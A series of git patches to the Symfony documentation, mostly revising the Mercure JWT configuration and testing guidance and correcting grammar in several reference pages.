 If you don't want to use the provided environment variables,
 use the following configuration:
@@ -155,6 +153,68 @@ use the following configuration:
             ],
         ]);
 
+Alternatively, it's also possible to pass directly the JWT to use:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        value: 'the.JWT'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt value="the.JWT"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
+
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'value' => 'the.JWT',
+                    ],
+                ],
+            ],
+        ]);
+
+
+The JWT payload must contain at least the following structure to be allowed to
+publish:
+
+.. code-block:: json
+
+    {
+        "mercure": {
+            "publish": []
+        }
+    }
+
+Because the array is empty, the Symfony app will only be authorized to publish
+public updates (see the authorization_ section for further information).
+
+.. tip::
+
+    The jwt.io website is a convenient way to create and sign JWTs.
+    Checkout this `example JWT`_, that grants publishing rights for all *topics*
+    (notice the star in the array).
+    Don't forget to set your secret key properly in the bottom of the right panel of the form!
 
 Basic Usage
 -----------
@@ -222,8 +282,8 @@ Subscribing to updates in JavaScript from a Twig template is straightforward:
     }
     </script>
 
-The ``mercure()`` Twig function will generate the URL of the Mercure hub
-according to the configuration. The URL will include the ``topic`` query
+The ``mercure()`` Twig function generates the URL of the Mercure hub
+according to the configuration. The URL includes the ``topic`` query
 parameters corresponding to the topics passed as first argument.
 
 If you want to access to this URL from an external JavaScript file, generate the
@@ -302,9 +362,9 @@ by using the ``AbstractController::addLink`` helper method::
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request, Discovery $discovery): JsonResponse
+        public function discover(Request $request, Discovery $discovery): JsonResponse
         {
-            // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
+            // Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
             $discovery->addLink($request);
 
             return $this->json([
@@ -320,7 +380,7 @@ and to subscribe to it:
 .. code-block:: javascript
 
     // Fetch the original resource served by the Symfony web API
-    fetch('/books/1') // Has Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
+    fetch('/books/1') // Has Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
         .then(response => {
             // Extract the hub URL from the Link header
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
@@ -373,9 +433,9 @@ To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
 Cookies can be set automatically by Symfony by passing the appropriate options
-to the ``mercure()`` Twig function. Cookies set by Symfony will be automatically
+to the ``mercure()`` Twig function. Cookies set by Symfony are automatically
 passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
-of the ``EventSource`` class is set to ``true``. Then, the Hub will verify the
+of the ``EventSource`` class is set to ``true``. Then, the Hub verifies the
 validity of the provided JWT, and extract the topic selectors from it.
 
 .. code-block:: twig
@@ -572,9 +632,9 @@ its Mercure support.
 Testing
 --------
 
-During unit testing there is no need to send updates to Mercure.
+During unit testing it's usually not needed to send updates to Mercure.
 
-You can instead make use of the `MockHub`::
+You can instead make use of the `MockHub` class::
 
     // tests/FunctionalTest.php
     namespace App\Tests\Unit\Controller;
@@ -601,10 +661,10 @@ You can instead make use of the `MockHub`::
         }
     }
 
-During functional testing you can instead decorate the Hub::
+During functional testing you can instead create a stub of the Hub::
 
-    // tests/Functional/Fixtures/HubStub.php
-    namespace App\Tests\Functional\Fixtures;
+    // tests/Functional/Stub/HubStub.php
+    namespace App\Tests\Functional\Stub;
 
     use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
@@ -619,14 +679,14 @@ During functional testing you can instead decorate the Hub::
         // implement rest of HubInterface methods here
     }
 
-HubStub decorates the default hub service so no updates are actually
-sent. Here is the HubStub implementation:
+Use ``HubStub`` to replace the default hub service so no updates are actually
+sent:
 
 .. code-block:: yaml
 
     # config/services_test.yaml
-    App\Tests\Functional\Fixtures\HubStub:
-        decorates: mercure.hub.default
+    mercure.hub.default:
+        class: App\Tests\Functional\Stub\HubStub
 
 .. tip::
 
@@ -711,6 +771,7 @@ Going further
 .. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
+.. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/

From 74961497f5a672cb8c89606cdc31ec4822480037 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:20:34 +0100
Subject: [PATCH 1514/5766] review

---
 mercure.rst | 107 ++++++++++++++++++++++++----------------------------
 1 file changed, 50 insertions(+), 57 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e84749d148d..47b4577f5cd 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -111,8 +111,16 @@ This token must be signed with the same secret key as the one used by the Hub to
 This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 MercureBundle will use it to automatically generate and sign the needed JWTs.
 
-If you don't want to use the provided environment variables,
-use the following configuration:
+In addition to these environment variables,
+MercureBundle provides a more advanced configuration configuration:
+
+* ``secret``: the key to use to sign the JWT
+* ``publish``: a list of topics to allow publishing to when generating the JWT
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT
+* ``algorithm``: The algorithm to use to sign the JWT
+* ``provider``: The ID of a service to call to provide the JWT
+* ``factory``: The ID of a service to call to create the JWT
+* ``value``: the raw JWT to use (all other options will be ignored)
 
 .. configuration-block::
 
@@ -125,6 +133,12 @@ use the following configuration:
                     url: https://mercure-hub.example.com/.well-known/mercure
                     jwt:
                         secret: '!ChangeMe!'
+                        publish: ['foo', 'https://example.com/foo']
+                        subscribe: ['bar', 'https://example.com/bar']
+                        algorithm: 'hmac.sha256'
+                        provider: 'My\Provider'
+                        factory: 'My\Factory'
+                        value: 'my.jwt'
 
     .. code-block:: xml
 
@@ -135,7 +149,18 @@ use the following configuration:
                 name="default"
                 url="https://mercure-hub.example.com/.well-known/mercure"
             >
-                <jwt secret="!ChangeMe!"/>
+                <jwt
+                    secret="!ChangeMe!"
+                    algorithm="hmac.sha256"
+                    provider="My\Provider"
+                    factory="My\Factory"
+                    value="my.jwt"
+                >
+                    <publish>foo</publish>
+                    <publish>https://example.com/foo</publish>
+                    <subscribe>bar</subscribe>
+                    <subscribe>https://example.com/bar</subscribe>
+                </jwt>
             </hub>
         </config>
 
@@ -148,68 +173,32 @@ use the following configuration:
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
                         'secret' => '!ChangeMe!',
+                        'publish' => ['foo', 'https://example.com/foo'],
+                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'algorithm' => 'hmac.sha256',
+                        'provider' => 'My\Provider',
+                        'factory' => 'My\Factory',
+                        'value' => 'my.jwt',
                     ],
                 ],
             ],
         ]);
 
-Alternatively, it's also possible to pass directly the JWT to use:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/mercure.yaml
-        mercure:
-            hubs:
-                default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt:
-                        value: 'the.JWT'
-
-    .. code-block:: xml
-
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <config>
-            <hub
-                name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
-                <jwt value="the.JWT"/>
-            </hub>
-        </config>
-
-    .. code-block:: php
-
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'hubs' => [
-                'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt' => [
-                        'value' => 'the.JWT',
-                    ],
-                ],
-            ],
-        ]);
-
+.. tip::
 
-The JWT payload must contain at least the following structure to be allowed to
-publish:
+    The JWT payload must contain at least the following structure to be allowed to
+    publish:
 
-.. code-block:: json
+    .. code-block:: json
 
-    {
-        "mercure": {
-            "publish": []
+        {
+            "mercure": {
+                "publish": []
+            }
         }
-    }
-
-Because the array is empty, the Symfony app will only be authorized to publish
-public updates (see the authorization_ section for further information).
 
-.. tip::
+    Because the array is empty, the Symfony app will only be authorized to publish
+    public updates (see the authorization_ section for further information).
 
     The jwt.io website is a convenient way to create and sign JWTs.
     Checkout this `example JWT`_, that grants publishing rights for all *topics*
@@ -364,7 +353,7 @@ by using the ``AbstractController::addLink`` helper method::
     {
         public function discover(Request $request, Discovery $discovery): JsonResponse
         {
-            // Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
+            // Link: <https://hub.example.com/.well-known/mercure>; rel="mercure"
             $discovery->addLink($request);
 
             return $this->json([
@@ -380,7 +369,7 @@ and to subscribe to it:
 .. code-block:: javascript
 
     // Fetch the original resource served by the Symfony web API
-    fetch('/books/1') // Has Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
+    fetch('/books/1') // Has Link: <https://hub.example.com/.well-known/mercure>; rel="mercure"
         .then(response => {
             // Extract the hub URL from the Link header
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
@@ -688,6 +677,10 @@ sent:
     mercure.hub.default:
         class: App\Tests\Functional\Stub\HubStub
 
+As MercureBundle support multiple hubs, you may have to replace
+the other service definitions accordingly.
+
+
 .. tip::
 
     Symfony Panther has `a feature to test applications using Mercure`_.

From e35f1cc895621aa21a391aae7df9f9f1feb1a780 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:21:32 +0100
Subject: [PATCH 1515/5766] Update mercure.rst

Co-authored-by: Robin Chalas <chalasr@users.noreply.github.com>
---
 mercure.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 47b4577f5cd..b3ba56900ee 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -650,7 +650,7 @@ You can instead make use of the `MockHub` class::
         }
     }
 
-During functional testing you can instead create a stub of the Hub::
+For functional testing, you can instead create a stub of the Hub::
 
     // tests/Functional/Stub/HubStub.php
     namespace App\Tests\Functional\Stub;
@@ -680,7 +680,6 @@ sent:
 As MercureBundle support multiple hubs, you may have to replace
 the other service definitions accordingly.
 
-
 .. tip::
 
     Symfony Panther has `a feature to test applications using Mercure`_.

From 81c1387c76deeb8be285f6cbc0372629fdc3ae88 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:19 +0100
Subject: [PATCH 1516/5766] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index b3ba56900ee..e61250c8d47 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -119,7 +119,7 @@ MercureBundle provides a more advanced configuration configuration:
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT
 * ``algorithm``: The algorithm to use to sign the JWT
 * ``provider``: The ID of a service to call to provide the JWT
-* ``factory``: The ID of a service to call to create the JWT
+* ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)
 
 .. configuration-block::

From 3ca1aa14662e08d85fd565b0cb0ee275b89b4e48 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:25 +0100
Subject: [PATCH 1517/5766] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index e61250c8d47..e1b85979550 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -117,7 +117,7 @@ MercureBundle provides a more advanced configuration configuration:
 * ``secret``: the key to use to sign the JWT
 * ``publish``: a list of topics to allow publishing to when generating the JWT
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT
-* ``algorithm``: The algorithm to use to sign the JWT
+* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
 * ``provider``: The ID of a service to call to provide the JWT
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)

From b4fb9fbe889f9e37bf02ab6e03a4219acd068e4b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:33 +0100
Subject: [PATCH 1518/5766] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index e1b85979550..41d5e51b03b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -116,7 +116,7 @@ MercureBundle provides a more advanced configuration configuration:
 
 * ``secret``: the key to use to sign the JWT
 * ``publish``: a list of topics to allow publishing to when generating the JWT
-* ``subscribe``: a list of topics to allow subscribing to when generating the JWT
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
 * ``provider``: The ID of a service to call to provide the JWT
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)

From ec8708560d9535b976a4ea3074b01667e8d40f60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:52 +0100
Subject: [PATCH 1519/5766] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 41d5e51b03b..92e770f1089 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -115,7 +115,7 @@ In addition to these environment variables,
 MercureBundle provides a more advanced configuration configuration:
 
 * ``secret``: the key to use to sign the JWT
-* ``publish``: a list of topics to allow publishing to when generating the JWT
+* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
 * ``provider``: The ID of a service to call to provide the JWT

From daaa3f13adaf5bca6ebd5919149afff935ea946d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:39:02 +0100
Subject: [PATCH 1520/5766] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 92e770f1089..58e9dc6dbd0 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -118,7 +118,7 @@ MercureBundle provides a more advanced configuration configuration:
 * ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
-* ``provider``: The ID of a service to call to provide the JWT
+* ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored)
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)
 

From adf49ef56839d3aea9c4508d4d432a44595f3197 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:39:11 +0100
Subject: [PATCH 1521/5766] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 58e9dc6dbd0..3a93fb0ec80 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -114,7 +114,7 @@ MercureBundle will use it to automatically generate and sign the needed JWTs.
 In addition to these environment variables,
 MercureBundle provides a more advanced configuration configuration:
 
-* ``secret``: the key to use to sign the JWT
+* ``secret``: the key to use to sign the JWT (all other options, beside `algorithm`, `subscribe`, and `publish` will be ignored)
 * ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )

From ad0cbe5c6a2e9949d401a2a32b1cd9ddb04d1141 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:41:09 +0100
Subject: [PATCH 1522/5766] nitpicking

---
 mercure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 3a93fb0ec80..365e3de9391 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -115,9 +115,9 @@ In addition to these environment variables,
 MercureBundle provides a more advanced configuration configuration:
 
 * ``secret``: the key to use to sign the JWT (all other options, beside `algorithm`, `subscribe`, and `publish` will be ignored)
-* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
-* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
-* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
+* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided)
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided)
+* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided)
 * ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored)
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)

From ccfad390b28c4864c4da0239aace1289ebc12e3e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 16:52:14 +0100
Subject: [PATCH 1523/5766] Ask to open PRs for new features in 6.x

---
 .github/PULL_REQUEST_TEMPLATE.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index ddeb73add51..17cec7af7c3 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -4,6 +4,6 @@ If your pull request fixes a BUG, use the oldest maintained branch that contains
 the bug (see https://symfony.com/releases for the list of maintained branches).
 
 If your pull request documents a NEW FEATURE, use the same Symfony branch where
-the feature was introduced (and `5.x` for features of unreleased versions).
+the feature was introduced (and `6.x` for features of unreleased versions).
 
 -->

From 5d4222a2271c7c7fc3576002beaa8ff31cdd1c72 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 10:08:43 -0400
Subject: [PATCH 1524/5766] Correct spelling & grammar in 4.4 testing.rst

---
 testing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index 07b79a45bec..9e493f293ef 100644
--- a/testing.rst
+++ b/testing.rst
@@ -29,7 +29,7 @@ After the library is installed, try running PHPUnit:
 
     $ php ./vendor/bin/phpunit
 
-This commands automatically runs your application's tests. Each test is a
+This command automatically runs your application tests. Each test is a
 PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
 the ``tests/`` directory of your application.
 
@@ -147,7 +147,7 @@ usually defined in the ``KERNEL_CLASS`` environment variable
 
     If your use case is more complex, you can also override the
     ``getKernelClass()`` or ``createKernel()`` methods of your functional
-    test, which take precedence over the ``KERNEL_CLASS`` env var.
+    test, which takes precedence over the ``KERNEL_CLASS`` env var.
 
 Set-up your Test Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -376,7 +376,7 @@ generate an empty fixture class:
     The class name of the fixtures to create (e.g. AppFixtures):
     > ProductFixture
 
-Then you modify use this class to load new entities in the database. For
+Then you modify and use this class to load new entities in the database. For
 instance, to load ``Product`` objects into Doctrine, use::
 
     // src/DataFixtures/ProductFixture.php
@@ -858,7 +858,7 @@ Request Assertions
     Asserts the given :ref:`request attribute <component-foundation-attributes>`
     is set to the expected value.
 ``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')``
-    Asserts the request matched the given route and optionally route parameters.
+    Asserts the request matches the given route and optionally route parameters.
 
 Browser Assertions
 ..................
@@ -909,7 +909,7 @@ Mailer Assertions
 ``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
     Asserts that the given email has the expected number of attachments. Use
     ``getMailerMessage(int $index = 0, string $transport = null)`` to
-    retrievea specific email by index.
+    retrieve a specific email by index.
 ``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
     Asserts that the text body of the given email does (not) contain the
     expected text.

From 4549d4b124b4e0123bb510d8c2cc346151a5f7bd Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:10:24 -0400
Subject: [PATCH 1525/5766] Correct spelling & grammar in 4.4 reference/

---
 reference/configuration/framework.rst         | 22 +++++++++----------
 reference/configuration/security.rst          |  6 ++---
 reference/configuration/swiftmailer.rst       |  4 ++--
 reference/configuration/twig.rst              |  4 ++--
 reference/constraints/Callback.rst            |  2 +-
 reference/constraints/DateTime.rst            |  2 +-
 .../_comparison-value-option.rst.inc          |  2 +-
 reference/constraints/_groups-option.rst.inc  |  2 +-
 reference/dic_tags.rst                        |  6 ++---
 9 files changed, 25 insertions(+), 25 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e26dd44d07e..4feb8fcd56d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -855,7 +855,7 @@ timeout
 
 **type**: ``float`` **default**: depends on your PHP config
 
-Time, in seconds, to wait for a response. If the response stales for longer, a
+Time, in seconds, to wait for a response. If the response takes longer, a
 :class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
 Its default value is the same as the value of PHP's `default_socket_timeout`_
 config option.
@@ -1070,7 +1070,7 @@ when using ``.``, instead of matching only a single byte.
 
 If the charset of your application is UTF-8 (as defined in the
 :ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's
-recommended to set it to ``true``. This will make non-UTF8 URLs to generate 404
+recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
 errors.
 
 .. _config-framework-session:
@@ -1191,8 +1191,8 @@ cookie_samesite
 
 **type**: ``string`` or ``null`` **default**: ``null``
 
-It controls the way cookies are sent when the HTTP request was not originated
-from the same domain the cookies are associated to. Setting this option is
+It controls the way cookies are sent when the HTTP request did not originate
+from the same domain that is associated with the cookies. Setting this option is
 recommended to mitigate `CSRF security attacks`_.
 
 By default, browsers send all cookies related to the domain of the HTTP request.
@@ -1210,7 +1210,7 @@ The possible values for this option are:
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)
 * ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
-  send any cookie when the HTTP request is not originated from the same domain.
+  send any cookie when the HTTP request did not originate from the same domain.
 * ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending
   cookies when the request originated from a different domain, but only when the
   user consciously made the request (by clicking a link or submitting a form
@@ -1282,7 +1282,7 @@ sid_bits_per_character
 
 **type**: ``integer`` **default**: ``4``
 
-This determines the number of bits in encoded session ID character. The possible
+This determines the number of bits in the encoded session ID character. The possible
 values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
 The more bits results in stronger session ID. ``5`` is recommended value for
 most environments.
@@ -2134,7 +2134,7 @@ The service that is used to persist class metadata in a cache. The service
 has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`.
 
 Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC
-cache provide from the Doctrine project.
+cache provided by the Doctrine project.
 
 .. _reference-validation-enable_annotations:
 
@@ -2191,7 +2191,7 @@ By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromi
 constraint uses the public API provided by `haveibeenpwned.com`_. This option
 allows to define a different, but compatible, API endpoint to make the password
 checks. It's useful for example when the Symfony application is run in an
-intranet without public access to Internet.
+intranet without public access to the internet.
 
 static_method
 .............
@@ -2547,7 +2547,7 @@ A list of cache pools to be created by the framework extension.
 
 .. seealso::
 
-    For more information about how pools works, see :ref:`cache pools <component-cache-cache-pools>`.
+    For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`.
 
 To configure a Redis cache pool with a default lifetime of 1 hour, do the following:
 
@@ -2656,8 +2656,8 @@ provider
 
 Overwrite the default service name or DSN respectively, if you do not want to
 use what is configured as ``default_X_provider`` under ``cache``. See the
-description of the default provider setting above for the type of adapter
-you use for information on how to specify the provider.
+description of the default provider setting above for information on how to
+specify your specific provider.
 
 clearer
 """""""
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 76c8f44eff3..46e16014d19 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -51,7 +51,7 @@ access_denied_url
 **type**: ``string`` **default**: ``null``
 
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
-you define a custom access deny handler). Example: ``/no-permission``
+you define a custom access denial handler). Example: ``/no-permission``
 
 always_authenticate_before_granting
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -297,7 +297,7 @@ password) so you don't have to deal with it.
 Using the "auto" Password Encoder
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It selects automatically the best possible encoder. Currently, it tries to use
+It automatically selects the best possible encoder. Currently, it tries to use
 Sodium by default and falls back to the `bcrypt password hashing function`_ if
 not possible. In the future, when PHP adds new hashing techniques, it may use
 different password hashers.
@@ -452,7 +452,7 @@ This is the route or path that the user will be redirected to (unless ``use_forw
 is set to ``true``) when they try to access a protected resource but isn't
 fully authenticated.
 
-This path **must** be accessible by a normal, un-authenticated user, else
+This path **must** be accessible by a normal, unauthenticated user, else
 you may create a redirect loop.
 
 check_path
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index f88a28aaf29..1b343d4f24c 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -106,7 +106,7 @@ local_domain
 
     The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
 
-The domain name to use in ``HELO`` command.
+The domain name to use in the ``HELO`` command.
 
 encryption
 ~~~~~~~~~~
@@ -172,7 +172,7 @@ sleep
 **type**: ``integer`` **default**: ``0``
 
 Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
+to sleep during a transport restart.
 
 .. _delivery-address:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 40708ce2fd9..f35b3601060 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -129,7 +129,7 @@ format
 **type**: ``string`` **default**: ``F j, Y H:i``
 
 The format used by the ``date`` filter to display values when no specific format
-is passed as argument.
+is passed as an argument.
 
 interval_format
 ...............
@@ -145,7 +145,7 @@ timezone
 **type**: ``string`` **default**: (the value returned by ``date_default_timezone_get()``)
 
 The timezone used when formatting date values with the ``date`` filter and no
-specific timezone is passed as argument.
+specific timezone is passed as an argument.
 
 debug
 ~~~~~
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 018472ab46d..3066ac49332 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -222,7 +222,7 @@ You can then use the following configuration to invoke this validator:
 
     The Callback constraint does *not* support global callback functions
     nor is it possible to specify a global function or a service method
-    as callback. To validate using a service, you should
+    as a callback. To validate using a service, you should
     :doc:`create a custom validation constraint </validation/custom_constraint>`
